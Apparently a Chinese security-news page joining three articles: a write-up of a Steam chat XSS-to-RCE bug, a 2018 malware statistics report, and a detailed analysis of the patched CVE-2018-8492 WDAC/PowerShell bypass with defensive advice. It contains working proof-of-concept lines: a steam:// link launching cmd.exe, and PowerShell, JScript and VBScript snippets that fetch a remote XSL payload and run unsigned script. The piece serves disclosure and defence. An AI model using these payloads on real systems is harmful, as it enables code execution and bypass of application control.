存储型XSS随着视频游戏行业的持续膨胀,Valve的Steam平台仍然是游戏玩家们的热门市场之一,在某种程度上,这也成为了黑客们攻击目标。最近众测社区披露的一个Steam客户端漏洞,就能让攻击者在Steam用户的电脑系统上实现从存储型XSS到远程代码执行(RCE)的攻击,可导致个人信息和进一步的系统控制。最终,该漏洞获得了Valve官方$7500美金的奖励。

Steam聊天客户端介绍

Steam是Valve公司旗下综合的数字游戏社交平台,玩家可以在该平台购买、下载、讨论、上传和分享游戏和软件。为了方便社区玩家的交流沟通,Steam除了具备电脑手机客户端的聊天功能外,还构建有一个与客户端功能相同的网页版聊天系统(https://steamcommunity.com/chat),该网页聊天系统具有的多媒体元素和功能与客户端一致。

Steam聊天客户端基于React开发而成,React算是Javascript应用框架中具备多种强大安全性的良好架构了,它能一定程度上规避某些不安全函数的应用。另外,Steam聊天客户端还部署了内容安全策略(CSP),且在其中应用了’unsafe-inline’策略,而本来’unsafe-inline’就会带来XSS风险,这就有点意思了。

CSP的’unsafe-inline‘策略:允许使用内联资源,如内联的 <script> 元素、javascript: URL、内联的事件处理函数和内联的 <style> 元素。(注意: 使用 ‘unsafe-inline’ 和 ‘unsafe-eval’ 都是不安全的,它们会使您的网站有跨站脚本攻击风险。)

漏洞发现

该漏洞由年轻的英国国家网络安全中心(National Cyber Security Centre)安全工程师Thomas Shadwell发现,他曾获得福布斯2018年评选的“欧洲30名30岁以下优秀工程师”称号。

Shadwell的漏洞报告显示,他利用了Chrome DevTool工具、XSS Palyload和允许第三方站点URL嵌入的oEmbed格式发现了该漏洞。由于客户端和网页版聊天系统的元素和功能模式相同,为了更好的调试请求,Shadwell选择了网页版聊天系统https://steamcommunity.com/chat作为突破口,客户端和网页版存在的最终测试漏洞相同。

Steam聊天客户端可以发送和接收BBcode格式的聊天消息,而这些消息会间接地映射为相应的HTML元素,特别是对任意URL都可使用类似[url]的BBcode标签,Shadwell发现[url=xxx]、[code] 和 [image]标签存在可利用风险,尤其是 [url=xxx] 未被安全过滤,可以嵌入任意链接,尽管React具备严格的XSS缓解防护措施,但并不能缓解[url=xxx]下类似 javascript: URI 的XSS攻击。

对该漏洞的利用场景为,攻击者只需向聊天群组玩家成员,发送一条经过构造的链接,当玩家点击了这条链接之后,就能触发漏洞实现攻击。如下PoC视频所示:

看不到?点这里

严重的危害就是,攻击者可以在Steam聊天客户端的一些公共群组中广泛传播经过构造的恶意嵌入链接,如jarfile:..\..\..\..\..\..\..\..\Users\Username\Downloads\drive-by-download.jar,或是一些精巧页面,愿者点击上钩之后,就能利用该漏洞窃取受害者玩家的个人敏感信息,进行进一步的网络钓鱼攻击、勒索软件传播和系统破坏。

从XSS到RCE

在Shadwell对该漏洞的首次上报中,只发现了以上的XSS漏洞,但在他综合前期对Steam客户端的漏洞发现时,却发现可以利用

steam://openexternalforpid/10400/file:///C:/Windows/cmd.exe

构造RCE执行指令,实现对受害者系统的远程代码执行攻击。只用发送链接

[url=steam://openexternalforpid/10400/file:///C:/Windows/cmd.exe]click me[/url]

给目标受害者,只要对方点击,攻击就能成功。

该漏洞的根本原因出在Steam聊天客户端所谓的“丰富聊天内容”功能中,这也是现在很多流行的聊天应用程序中经常会内置的功能,而该漏洞也就是Steam应用了不安全的CSP 'unsafe-inline'策略所导致的。

据Shadwell透露,总体来说,Steam聊天客户端的安全设计还算不错,但问题出在对一些早前的架构采用了相同的安全设计,所以才导致了该漏洞。Shadwell还表示,Steam平台的游戏项目存在很多实际价值,所以在Steam上存在很多窃取他人游戏账户和资产的网络犯罪行为。更多漏洞细节请参考漏洞报告:Hackerone

*参考来源:forbes\hackerone,clouds编译,转载请注明来自FreeBuf.COM

近日,瑞星发布了《2018年中国网络安全报告》,报告显示2018年病毒活动十分活跃,数据泄露和网络攻击事件频发,包括Facebook、GitHub、A站、华住酒店、台积电等全球大中小企业均遭受不同程度的影响,网络安全依然不容小觑。

2018年新增病毒样本暴增56%

2018年瑞星“云安全”系统共截获病毒样本总量7,786万个,病毒感染次数11.25亿次,病毒总体数量比2017年同期上涨55.63%。由于利益的驱使,更多领域的犯罪分子投入到了挖矿病毒与勒索病毒领域,同时,病毒与杀毒软件的对抗越来越激烈,攻击者持续更新迭代病毒,导致病毒有了极大的增长。

报告期内,北京市病毒感染2.26亿人次,位列全国第一,其次为广东省0.92亿人次及山东省0.65亿人次。

图:2018年病毒感染地域Top10

广东省勒索病毒感染次数位列全国第一

2018年瑞星“云安全”系统共截获勒索软件感染次数687万次,其中广东省感染179万次,位列全国第一,其次为上海市77万次,北京市52万次及江苏省33万次。

图:2018年勒索软件感染地域分布Top10

通过对瑞星捕获的勒索样本按家族分析发现,GandCrab家族占比36%,位列第一,其次为WannaCrypt占比31%,以及Lyposit占比17%。

图:2018年勒索软件按家族分类

2018年手机病毒样本增长26%

2018年瑞星“云安全”系统共截获手机病毒样本640万个,病毒总体数量比2017年同期上涨26.73%。新增病毒类型以信息窃取、资费消耗、流氓行为、恶意扣费四类为主,其中信息窃取类病毒占比26%,位居第一。其次是资费消耗类病毒占比25%,第三名是流氓行为类病毒占比18%。

图:2018年手机病毒类型比例

永恒之蓝漏洞依然是影响最严重的漏洞之一

2018年CVE-2017-0144(永恒之蓝漏洞)依然是影响最严重的漏洞之一,很多企业互联网中仍然存在很多未打“永恒之蓝”漏洞补丁的机器,导致其危害至今仍在持续。CVE-2017-0144是Microsoft Windows SMB服务中存在远程代码执行漏洞,远程攻击者可通过发送特制的数据包触发漏洞,从而利用该漏洞执行代码。

由于美国国家安全局NSA旗下的方程式组织,用来窃取情报的网络武器被泄露,导致很多攻击者不需要掌握漏洞利用的知识,直接使用NSA泄露的工具就能发起永恒之蓝漏洞攻击,因此极大地降低了攻击的门槛。此外MsraMiner挖矿病毒、Satan勒索病毒、Lucky勒索病毒也是利用永恒之蓝漏洞进行传播,影响范围十分广泛。

图:病毒利用的永恒之蓝攻击工具包

较为活跃的GandCrab勒索挖矿病毒

GandCrab勒索病毒从2018年年初一直活跃到年末,此病毒自出现以来持续更新对抗查杀。GandCrab随着版本的不断更新传播方式也不断变化,包括网站挂马、伪装字体更新程序、邮件、漏洞、木马程序等。该家族普遍采用较为复杂的RSA+AES混合加密算法,文件加密后几乎无法解密,最近的几个版本为了提高加密速度,对文件加密的算法开始使用Salsa20算法,秘钥被非对称加密算法加密,若没有病毒作者的私钥,正常方式通常无法解密,给受害者造成了极大的损失。

图:病毒释放的勒索信息

挖矿、勒索病毒呈一体化、蠕虫化趋势

以往勒索病毒和挖矿病毒有比较明显的界限,随着更多攻击者投入到这一领域,获取最大利益是他们的根本目的,因此勒索病毒和挖矿病毒的界限开始模糊,病毒运行后除了释放勒索模块加密受害者计算机中的文件之外,又开始释放挖矿模块挖掘虚拟货币,消耗受害者计算机资源。

为了增加感染量,病毒呈现蠕虫化的趋势,病毒会通过弱口令和系统漏洞、多种web漏洞传播,攻击存在弱口令和漏洞的计算机。比如Satan勒索病毒、GandCrab勒索病毒,从2018年年初只负责勒索,逐步发展为通过漏洞和弱口令蠕虫化传播,并且开始挖矿。而Lucky和xbash病毒从一出现就攻击Windows和Linux双平台,通过漏洞和弱口令传播挖矿和勒索病毒。

网络安全环境日益复杂,网络攻击形式也呈多样化发展,瑞星安全专家提醒广大用户务必提高网络安全意识,建议在日常使用电脑时,开启系统自动更新,及时打补丁,电脑避免使用弱口令,不给不法分子可乘之机。发现电脑卡慢时应立即查看CPU使用情况,若发现可疑进程可及时关闭。

查看完整报告,请点击:http://it.rising.com.cn/dongtai/19507.html

一、概述

长期以来,我非常热衷于探讨应用程序控制/应用程序白名单(AWL)和组件对象模型(COM)。正如本文的标题所示,在研究中,我偶然发现了一种使用COM绕过Microsoft Application Control(微软应用程序控制)解决方案的技术。在特定情况下,该技术可以执行未经签名的代码,一绕过Windows Defender应用程序控制(WDAC)/Device Guard,包括具有可扩展样式表转换(XSLT)的PowerShell约束语言模式(CLM)。在本文中,我们主要讨论以下内容:

1、微软AWL解决方案简介;

2、使用约束语言模式的PowerShell简要概述;

3、CVE-2018-8492(通过COM XSLT绕过WDAC)详细分析;

4、防御方法。

需要注意的是,本篇文章并没有全面讲解微软AWL解决方案或绕过技术。如果要了解这方面的更多信息,推荐阅读附在本文最后的链接资源。

二、微软AWL解决方案简介

微软支持多种应用程序白名单(AWL)解决方案。在本节中,我们将简要介绍软件限制策略(SRP)、AppLocker、Windows Defender应用程序控制(WDAC),并在其中重点说明一些AWL绕过的方法。接下来,就让我们进行深入研究。

2.1 SRP

软件限制策略(SRP,Software Restriction Policies)是在Windows 2003和Windows XP中,作为一种组策略管理软件控制机制而引入的。在SRP中,安全级别基于哈希规则、证书规则、路径规则(文件系统和注册表)以及区域规则来定义应用程序的行为(例如:不允许运行)。策略可以针对动态链接库(DLL)应用,并且可以强制所有用户(包括管理员)必须遵循这一策略。

在SRP中,并没有一组强大的默认规则(作为基线使用),也不支持审计模式,因此创建、测试、验证和维护SRP策略的绝大多数工作都要由组织来自行完成。通常,实施和维护SRP可能非常困难。因此,随着其他AWL解决方案的陆续出现,SRP并没有得到广泛的应用。

值得注意的是,取决于配置的不同,一些不重要的绕过可能会导致绕过严格依赖于阻止列表的规则。如果其中存在一些被忽略的文件路径,或文件名/扩展名操作,就可能导致允许超出预期的执行。此外,SRP不会强制执行代码完整性策略。因此,可以从受信任的二进制文件中执行未经签名(Scriptlet)的代码。

有关SRP和配置指南的更多信息,请参考微软官方文档美国国家安全局的白皮书。此外,由于已经不再开发新的功能,据推测SRP将在不久之后被移除。

2.2 AppLocker

AppLocker是Windows 2008 Server和Windows 7(Enterprise和Ultimate版本)中引入的AWL解决方案,作为SRP的升级替代方案。与SRP相比,AppLocker策略更加易于部署和管理。AppLocker支持脚本和应用程序(例如:exe、dll、appx等)的文件哈希、路径和发布者规则,并且支持用于测试规则的审计模式(Audit Mode)。值得注意的是,在强制执行策略时,AppLocker会针对非特权用户,将PowerShell置于约束语言模式(CLM)中,从而限制未经批准的脚本执行、Cmdlet、任意类型和类型定义。

AppLocker可以配置一组默认规则,这一点有助于组织设置基线和进行测试。但是,由于规则集的限制,目前存在许多易于复现的技术可以绕过这些策略,所以在生产环境部署默认规则并不一定是最佳的选择。使用一些健壮的策略,可能会阻止许多基于规则的应用程序绕过,但是像SRP一样,AppLocker也不能进行代码完整性检测。

要了解有关AppLocker的更多信息,并且获得有关如何创建并测试强大的AppLocker策略的进一步指导,请参考Oddvar Moe的AppLocker案例研究,以及Aaron Margosis的AaronLocker工具

2.3 WDAC

Windows Defender应用程序控制(WDAC),以前称为Device Guard,是一种AWL解决方案,可以“通过限制允许用户运行的应用程序,从而帮助减轻安全威胁”(引自微软官方文档)。WDAZ是在Windows 2016和Windows 10(Enterprise和Education版本)引入的。在使用用户模式代码完整性(UMCI)的WDAC策略实施下,锁定的系统能够防止执行未经授权的二进制文件、未签名(脚本)代码和安装程序包。此外,UMCI限制PowerShell在CLM中运行,由于Windows锁定策略(WLDP)的限制,它进一步“锁定”了COM类访问(实例化)。当其被完整性策略强制执行时,WLDP还限制来自其他脚本(例如:cscript.exe和wscript.exe)的COM实例化。

目前,似乎已经将WLDP称为Windows安全模式策略(Windows Secure Mode Policy)。

WDAC策略是高度可定制的,可以配置为审计模式,从而支持各种部署和配置方案,以进行测试。在支持WDAC的Enterprise版本Windows操作系统中,强制策略的推荐配置(默认)位于:%systemroot%\schemas\CodeIntegrity\ExamplePolicies\DefaultWindows_Enforced.xml 中。

与之前讨论的SRP和AppLocker的默认规则不同,WDAC默认策略具有高度限制性,可能不适合生产环境使用。有关在组织中如何创建WDAC代码完整性策略的指导,请参阅微软官方文档和Chris Truncer的演示。关于Windows 10 Enterprise的基线测试,请参阅这份指南,从而使用微软推荐的块规则来快速部署WDAC。

要了解有关WDAC的更多信息(例如:内部工作原理、如何绕过等),请参阅由这些优秀研究人员维护的博客网站:

Matt Graeber的Exploit Monday

Matt Nelson的Enigma0x3

Casey Smith的SubTee

James Forshaw的Tyranid's Lair

2.4 关于微软AWL解决方案的说明

根据微软的描述,WDAC-UMCI实际上是一个安全便捷。因此,应用程序控制绕过漏洞是需要被重视的,是能够被授予CVE的,并且也是可以维护的。研究人员应该在披露这一漏洞之前,应该首先向微软安全响应中心(MSRC)报告漏洞情况,以便进行评估。

微软支持另一种用于减少攻击面(ASR)的伪“应用程序控制”规则集,该规则及目前是Windows Defender漏洞防护(WDEG)、Windows Defender高级威胁防护(ATP)的一部分。ASR规则对于防止针对目标应用程序(例如:Office)执行“恶意”代码,以及对于保护敏感进程(例如:LSASS)非常有用。对ASR的分析,超出了本文涉及的范围,但感兴趣的读者可以在微软官方文档上找到更多信息。

三、使用约束语言模式的PowerShell简要概述

通常,PowerShell都会以全语言模式(Full Language Mode)运行。该模式能有效允许访问所有PowerShell功能,包括脚本(例如:有符号脚本、无符号脚本)、类型定义和类(例如:.NET/C#访问)。在PowerShell版本5中引入,约束语言模式(CLM)“限制对可用于调用任意Windows API的敏感语言元素的访问”(引自PowerShell团队博客)。根据配置和策略的实施,CLM提供了一个屏障,有效减少了攻击面,攻击者必须攻破这个屏障才能对PowerShell工具和功能进行利用。为了打破CLM的限制,攻击者必须“绕过”CLM空间,从而导致PowerShell会话在全语言模式的上下文中执行恶意的“未签名”代码(例如:通过发现已签名的PowerShell脚本中的漏洞),或者执行“攻破”PowerShell会话的恶意代码。接下来,我们来看看几个CLM配置/实施方案,以及此前公开的绕过技术。

3.1 语言模式属性配置

如果没有策略实施,只需要设置此属性,即可在PowerShell会话中配置CLM:

$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"

尽管CLM以这种方式限制PowerShell上下文中的访问非常有效,但这是一种无效的强制执行控制,因为该属性可以很容易地被设置为“FullLanguage”,这样就会逃避CLM的限制。尽管,由于缺乏适当的执行功能,我不会将其称之为绕过,但该技术确实具有与PowerShell v2降级攻击类似的效果。

3.2 PSLockdownPolicy环境变量强制执行

在PowerShell v3中,微软通过设置__PSLockdownPolicy环境变量,结合了一些“未记录的”功能,控制了各种PowerShell模式。我能找到最早的参考资料,是来自Oisin Grehan的Twitter帖子,该文章分析,通过将__PSLockdownPolicy的值设置为4,来表示PowerShell处于“约束模式”。在2013年发表的一篇文章中,Carlos Perez描述了使用组策略在注册表中设置此环境变量,以强制执行这一模式的方法。该值是在下面的注册表项路径中设置:

HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment

在PowerShell v5中,将__PSLockdownPolicy的值设置为4,会将PowerShell会话置于CLM中。我们使用这一强制级别,尝试将LanguageMode属性设置为FullLanguage,结果表明这是不成功的。

1.png

尽管为CLM强制设置__PSLockdownPolicy,确实可能提供了一个便捷,从而有助于阻止利用PowerShell的一类攻击。但研究人员发现,__PSLockdownPolicy并不是一个正确的防御控制边界,实际上是处于调试目的而设计的,正如Matt Graeber所展示的那样。他非常直截了当地进行了System32文件夹/文件操作绕过:

“大家还记不记得此前,我曾经说过__PSLockdownPolicy对于强制执行受约束的lang模式毫无意义?事实上,它是专门为调试而设计的。pic.twitter.com/a8DpVOrqdM”( Matt Graeber发布于2017年10月20日)

在强制的PSLockdownPolicy下,绕过CLM的另一种方法是通过非托管的PowerShell来实现。由于(在此测试用例中)PSLockdownPolicy方法不受AWL解决方案支持,利用.NET的System.Management.Automation命名空间允许我们在自己的运行空间中以全语言模式运行PowerShell命令(不使用PowerShell.exe或PowerShell_ISE.exe)。在这个例子中,Cn33liz的P0wnedShell工具可以被用来证明这个概念:

2.png

3.png

实际上,设置PSLockdownPolicy并不是执行CLM的最强大方法,但是如果同时存在其他的控制方法和增强检测方法,那么一些攻击者完全可以实现他们的目标。然而,实施CLM的首选方法还是使用Microsoft Application Control解决方案。那么,就让我们来看看其中的几个选项,以及其各自的优点和危险之处。

3.3 应用程序控制CLM实施

在强制执行白名单策略时,PowerShell CLM将应用于AppLocker(适用于“允许模式Allowed Mode”的用户)和WDAC(适用于用户和管理员)。

3.3.1 AppLocker执行

尽管AppLocker没有被视为是安全边界(例如:一旦发现绕过,它是不可维护的),但它仍然是一个非常亲切的AWL解决方案,并且对于具有正确配置规则的用户(非管理员)来说非常有效。但是,还有一些值得注意的例外情况。

我们对具有默认规则的环境进行了测试。在AppLocker上,更改LanguageMode属性,或将我们自己的PowerShell运行空间投放到磁盘上的这些CLM绕过方法,已经不再有效。然而,我们发现了可以在全语言模式下执行或攻破CLM会话的巧妙绕过方法。利用该方法,可以执行未经签名的代码。

Oddvar Moe在DerbyCon 2018上展示了App-o-Lockalypse,并发现一种从CLM会话生成完整语言模式会话的方法。该方法使用默认的AppLocker配置,通过操作在“temp”目录路径下创建的PS脚本的环境变量路径来实现。

注意:使用正确配置的NTFS ACL/ACE写入规则或AppLocker脚本规则,可以有效防范这种情况。关于这方面的更多信息,请参考Oddvar关于如何预防此类攻击的一篇优秀文章。

Adam Chester公开的一种新技术则利用了COM实例化。在AppLocker“强制”的PowerShell CLM下,几乎任何组件对象模型(COM)对象都可以使用带有程序标识符(ProgID)的新对象comlet和comobject参数进行实例化,如下所示:

new-object -comobject [ProgID]
new-object -com [ProgID]

上述情况都是被允许的,由于AppLocker已经启用CLM,所以锁定(Lockdown)策略的强制检查已经通过,并且由于AppLocker没有强制执行的代码完整性策略,所以任何COM对象类标识符(CLSID)批准检查都将为真。这一问题的影响很大程度取决于攻击者的发现,以及Payload的传递,因为有很多种方法能够利用COM实现无符号代码执行。我们将在后面重新讨论这个话题,并会重点提供一些示例。

注意:有趣的是,没有AWL强制执行的CLM将不允许COM实例化(例如:尝试使用new-object cmdlet和comobject参数),因为其锁定检查将会失败(出现异常),并且会返回错误。有关这部分内容的详细信息,请参考Adam Chester的文章

3.3.2 WDAC代码完整性强制执行

WDAC/Device Guard代码完整性策略,是锁定Windows主机并减少系统攻击面的一种有效方法。未经签名或未经批准的脚本及二进制代码的执行将受到限制,并且这里的PowerShell CLM已经正确实施。现在,让我们重温PowerShell中的COM对象实例化。

当AppLocker策略“强制执行”时,CLM COM对象实例化几乎没有什么限制。实际上,全部或大多数COM对象都可以被实例化。根据Google Project Zero的James Forshaw在.NET COM实例UMCI绕过漏洞披露中,这一COM对象的数量介于8-50之间。在具有UMCI的WDAC下,WLDP的这个数字大幅减少。当发生COM对象实例化尝试时(例如:尝试使用新对象cmdlet和comobject参数),将会查询WldpIsClassInApprovedList()导出函数(来自wlpd.dll),以检查是否允许解析的CLSID。如果允许,那么将实例化COM对象,并且可以访问对象的方法和属性。如果不允许,那么就会阻止实例化,并抛出错误信息。

如前一节所述,WDAC是一个安全边界。因此,我们发现的绕过方法可能会被微软接受,并且有可能会被添加到推荐的阻止列表中。CLM绕过也就是WDAC绕过,因此这方面的漏洞也会被接受。

接下来,让我们换上5挡,讨论一个重要漏洞的发现过程。

四、CVE-2018-8492(通过COM XSLT绕过WDAC)详细分析

在过去几年中,Casey Smith发现了非常有趣的“Living off the land”AWL绕过技术,该技术利用已经签名的微软二进制文件来执行未经签名的Scriptlet代码。其中,Casey针对可扩展样式表语言(XSL)的研究和发现促使我开展了这一研究。简而言之,XSL的作用是“转换和呈现XML文档”(引自维基百科),其中包括将XML文档转换为其他格式的文档,例如HTML和Office(Excel电子表格)。最有趣的是,XSL转换(XSLT)可以执行嵌入式脚本宿主代码。

4.1 XSLT COM的发现

如果我们搜索可用于快速转换XML文档的微软可扩展标记语言(MSXML核心服务)的COM组件,可以发现一些有用的方法和属性。其中,最明显的方法和属性是transform()、transformNode()、transformNodeToObject()和AllowXsltScript(我们仅举几例)。这些都是一些关键COM对象(例如:Msxml2.DOMDocument.6.0)的成员,它们实现了方法和属性访问的接口(例如:IXMLDOMDocument* flavors)。

在针对各种二进制文件运行字符串,以及分析了几个已经签名的脚本(VBScript/JScript)之后,我们能够清晰地看到,这些组件可能在XSL代码执行中起到了重要作用,例如在wmic.exe和winrm.vbs中。

4.1.1 wmic.exe

4.png

注意:字符串程序似乎在输出中截断了几个字母。其中,IXSProcessor很可能是IXSLProcessor,tranform很可能是transform(转换)。

4.1.2 winrm.vbs

5.png

注意:有关winrm AWL绕过的更多信息,请参阅Matt Graeber的文章(https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404),其中还包含一些有效的检测策略。

4.2 XSL脚本执行PoC

在深入了解COM/XSL转换之后,我决定对Payload进行测试,以查看它的运行情况。转向PowerShell,我使用Casey Smith编写的极简XML/XSL Payload来启动包含(无符号)Jscript代码的命令提示符:

$xsl = new-object -com Msxml2.DOMDocument.6.0
$xsl.load(“c:\path\to\minimalist.xml”)
$xsl.setProperty(“AllowXsltScript”,$true)
$xsl.transformNode($xsl)

6.png

不出所料,这一过程执行了Scriptlet代码,并启动了命令处理器(Command Processor)。接下来,我们来深入研究一下,并看看能否进一步扩展这一方法。

4.3 AppLocker PowerShell CLM XSLT绕过

作为概念证明,我们首先分开脚本标签之间的代码,并将其保存为Jscript(js)文件。我们尝试使用默认规则(并且不依赖于路径规则绕过),在AppLocker下使用Windows脚本宿主二进制文件(cscript.exe和wscript.exe)启动Jscript文件(minimalist.js),产生了如下输出:

7.png

在这里,执行尝试启动Payload的脚本失败。当我们尝试使用反射,来加载带有在CLM下的PowerShell中.NET反射的Microsoft.Jscript程序集时,同样也以失败告终:

8.png

但是,如果我们使用AppLocker策略下的新对象cmdlet和comobject参数,启动以前是用的带有XSLT有效内容的PowerShell代码段,就能够成功执行:

9.png

当我第一次看到这个结果时,我非常惊讶,因为它居然有效。至此,我才对COM对象实例化的Windows锁定策略(WLDP)如何有效实施有了基本的了解。现在,让我们把注意力转回WDAC。

4.4 WDAC COM对象枚举

在默认的WDAC代码完整性策略(Windows 10 1803以上版本)下,我们的PowerShell XSL Payload代码段由于COM对象WLDP强制执行而无法成功执行,如下图所示:

10.png

对于这一测试用例,Windows锁定策略(WLDP)已经正确实施,并且COM对象未实例化。回顾一下我在Google Project Zero文章中读到的内容,James Forshaw表示,他发现有8-50个COM对象可以被脚本(例如:PowerShell)实例化。我们希望知道,在测试主机的WDAC策略下可以实例化哪些COM对象,于是我们使用以下的PowerShell代码段,枚举出可以访问的COM对象:

$ErrorActionPreference = "SilentlyContinue"
$ids = gwmi Win32_COMSetting | ?{ $_.ProgId -ne $null }
$ids | ForEach {if (new-object -com $_.ProgID){$_.ProgID}}

在WDAC下,PowerShell代码段返回了以下结果:

11.png

正如预期的那样,实际上只允许几个COM丢向。但是,就在这时Microsoft.XMLDOM.1.0 ProgID突然出现了。因此,我决定进一步研究,看看都有哪些成员可以访问:

12.png

我很快就发现了一些熟悉的转换方法,并注意到实现的COM接口标识符(IID)GUID值(2933bf95-7b36-11d2-b20e-00c04f983e60)对应的是IXMLDOMDocument2接口。

4.5 WDAC PowerShell CLM XSLT绕过

在确定Microsoft.XMLDOM.1.0的COM对象方法之后,我决定稍微修改PowerShell片段,从而测试未经签名的代码执行:

$xsl = new-object -com Microsoft.XMLDOM.1.0
$xsl.load(“c:\path\to\minimalist.xml”)
$xsl.transformNode($xsl)

注意:Microsoft.XMLDOM.1.0是在MSXML v3.0中实现的,它不需要为脚本主机执行设置AllowXsltScript属性,因为它默认设置为true。

运行这一代码段后,Payload将在CLM和Device Guard代码完整性策略的上下文中执行:

13.png

为了更加清楚,上一个映像中的WDAC策略状态,实际上是从系统信息实用程序(msinfo32.exe)中剪切输出的。

4.6 利用经典WSH二进制文件实现WDAC绕过

除了PowerShell之外,WLDP还允许使用经典的WSH二进制文件(例如cscript.exe和wscript.exe)进行Microsoft.XMLDOM.1.0实例化,以执行未经签名的脚本代码。例如,以下脚本片段将在调用时会死用远程提取技术,启动相同的XSL Payload。

4.6.1 Jscript

xsl = new ActiveXObject("Microsoft.XMLDOM.1.0");
xsl.async = false;
xsl.load("https://gist.githubusercontent.com/caseysmithrc/680ef7a2d660fb62ce13a3bd130b8adf/raw/cc4a1b4d8eb26cc9aea61ae267db7ecae28e9f33/minimalist.xml");
xsl.transformNode(xsl);

4.6.2 VBScript

Set xsl= CreateObject("Microsoft.XMLDOM.1.0")
xsl.async = false
xsl.load "https://gist.githubusercontent.com/caseysmithrc/680ef7a2d660fb62ce13a3bd130b8adf/raw/cc4a1b4d8eb26cc9aea61ae267db7ecae28e9f33/minimalist.xml"
xsl.transformnode xsl

实际上,不允许合法的Jscript Payload在自身启动时实例化WScript.Shell COM对象(在此测试用例中名为test.js)。但是,我们可以利用XSLT Trampoline(minimalist.js)来实例化WScript.Shell(它嵌入在远程minimalist.xml Payload中),如下图所示:

14.png

注意:微软块规则(Microsoft Block Rules)中明确拒绝了Mshta.exe等脚本宿主,该规则与这一测试用例中的默认WDAC策略合并。

五、防御方法

接下来,让我们看看作为蓝方应该考虑的几个防守因素。

5.1 XSLT COM对象

尽管目前已经发布了CVE-2018-8492的补丁,从而防止在WDAC下执行Microsoft.XMLDOM.1.0 Scriptlet,但是作为防守方,应该知道XSLT技术仍然可以被攻击者用于绕过其他AWL解决方案。

随着众多COM对象的曝光,我们推测Microsoft.XMLDOM.1.0和Msxml2.DOMDocument.6.0不是唯一包含执行相同XSL COM脚本执行的转换方法的对象,这一点是非常简单的。我们还确定了其他一些对象,具体如下。

15.png

可能还有其他COM对象公开了类似的XSLT方法和属性,并且具有可以执行Scriptlet代码的其他COM对象。此外,这些对象可以用于远程获取资源(如上一节所示),并且可以利用其他类和对象来执行此操作。例如,Microsoft.XMLHTTP.1.0和相关的COM对象就可以提供此功能。

注意:XML转换可以在.NET中与XslCompiledTransform类一起使用。此外,PowerShell CLM允许使用.NET XmlDocument类实例,load()方法可以用作获取远程XML兼容文件(例如:XSL Payload)的下载工具。在这里,有一个概念证明。

5.2 PowerShell安全控制

下面是一些关于PowerShell的建议和资源:

1、升级到PowerShell v5.x。近年来,PowerShell的安全性得到了极大的改进,特别是随着包含PowerShell v5的Windows Management Framework 5的发布。如果您的组织还没有使用v5版本,强烈建议您升级至此版本,以使用一些安全性增强的功能,例如高级日志记录功能和启用CLM。

2、禁用PowerShell v2。除了要升级到PowerShell v5之外,我们强烈建议在环境中禁用PowerShell v2,从而防止降级攻击,因为v2中的安全功能较少,并且不支持CLM。

3、寻找低版本PS加载。Lee Holmes在这篇文章中提供了针对此类攻击的检测和预防指导,其中包括一个PowerShell代码段,用于查询PowerShell事件日志,已获取低版本的PowerShell加载。

16.png

4、启用PS记录,增强可审计性。配置Transcription、Module和ScriptBlock日志,可以深入了解PowerShell中运行的命令、cmdlet和Payload。Transcription日志记录需要配置磁盘/文件共享位置,以输出日志文件。可以在PowerShell操作事件日志中访问模块事件(事件ID 4103)和ScriptBlock事件(事件ID 4104)。

5、使用CLM和监视器。约束语言模式具有令人难以置信的价值。在持续监控可以篡改(例如:绕过尝试)的同时,启用CLM以进行预防,这样会取得良好效果。

6、识别COM对象实例化事件。在PowerShell操作事件日志(事件查看器 -> 应用程序和服务日志 -> Microsoft -> Windows -> PowerShell –> 操作)中,如果启用,COM对象实例化尝试将被记录为模块事件(事件ID 4103)。在我们的测试过程中,记录了成功的实例化过程,其中包含以下有效内容字符串(在消息中):

ParameterBinding(New-Object): name="ComObject"; value="[ProgID]"

如果使用SIEM或日志解析工具过滤此类事件,我们就可以识别潜在的COM对象滥用事件(例如:滥用XSLT的对象),这一部分内容非常有价值。

17】.png

5.3 WSH安全建议

下面是关于Windows脚本宿主的一些建议:

1、监控已知的二进制文件。包括cscript.exe、wscript.exe、mshta.exe、wmic.exe、Regsvr32.exe、winrm.vbs和pubprn.vbs,这些都是一些已知(经过签名)的二进制文件和脚本,可能会被攻击者用于代码执行、规避和绕过。Mitre ATT&CK和LOLBAS是构建基线,以检测和理解这些本机实用程序如何用于攻击的极佳资源。Daniel Bohannon和Matthew Dunwoody曾发表过一次演讲(https://www.youtube.com/watch?v=YGJaj6_3dGA),说明了如何构建一个弹性检测方法。

2、AMSI。可以通过带有Windows事件跟踪(ETW)的反恶意软件扫描接口(AMSI)捕获脚本宿主内容。几个月前,Matt Graeber在他的博客上发表了这篇文章

3、检查通信。如果加密通信对您的组织来说不成问题,那么构建一个对远程提取的HTTP/S资源(例如:SCT、WSH和XML/XSL文件)的检测,可能会非常有帮助。这些请求中可能包含可疑的用户代理,响应中可能包含XML脚本标记和属性(很有可能经过混淆)。

18.png

5.4 AWL解决方案

尽管存在绕过和逃避的可能,但AWL是终端安全的一个重要组成部分。其中,终端安全就包括终端检测与响应(EDR)和反病毒(AV)。如果您计划在自己的环境中使用应用程序控制,那么以下是针对AWL解决方案的一些建议:

1、考虑使用AWL。尽管AWL是降低安全风险和减小攻击面的绝佳方式,但许多组织仍然没有实施这一机制。如果运行任何较新版本的Windwos Server,其中的AppLocker都是免费、内置的,并且可以使用组策略进行集中管理。如果您正在考虑使用AWL,请在开始之前查看DHS的策略规划指南

2、维持与改善。与EDR和AV解决方案一样,我们应该维持AWL策略、规则和系统,以确保其发挥最大作用并且持续有效。根据AWL配置和规则集(例如:新的块规则)和系统更改(例如:更新、软件安装等),可能需要对AWL软件进行调整和更改。此外,如果您部署了基本策略和规则集,请设置一个弹性目标,从而可以随着时间的推移而不断改进。如果您的组织非常重视终端安全性,那么WDAC可以随时改变游戏规则。此外,WDAC和AppLocker支持用于构建、测试和评估策略的审计模式。

3、定期查看AWL日志。AWL实践日志为网络防御者和系统管理员提供了大量信息。通过AWL事件转发(到SIEM)和告警,管理员可能会看到需要将哪些关键可执行文件或库添加到策略中,或者注意到由于未批准的应用程序的各种(失败)执行尝试而发生的潜在安全事件。

4、在AppLocker中,事件日志位于:事件查看器 -> 应用程序和服务日志 -> Microsoft -> Windows -> AppLocker。包括以下日志:EXE和DLL、MSI和脚本、打包的应用程序部署、打包的应用程序执行。以下是阻止可执行文件生成的错误日志示例(事件ID 8004):

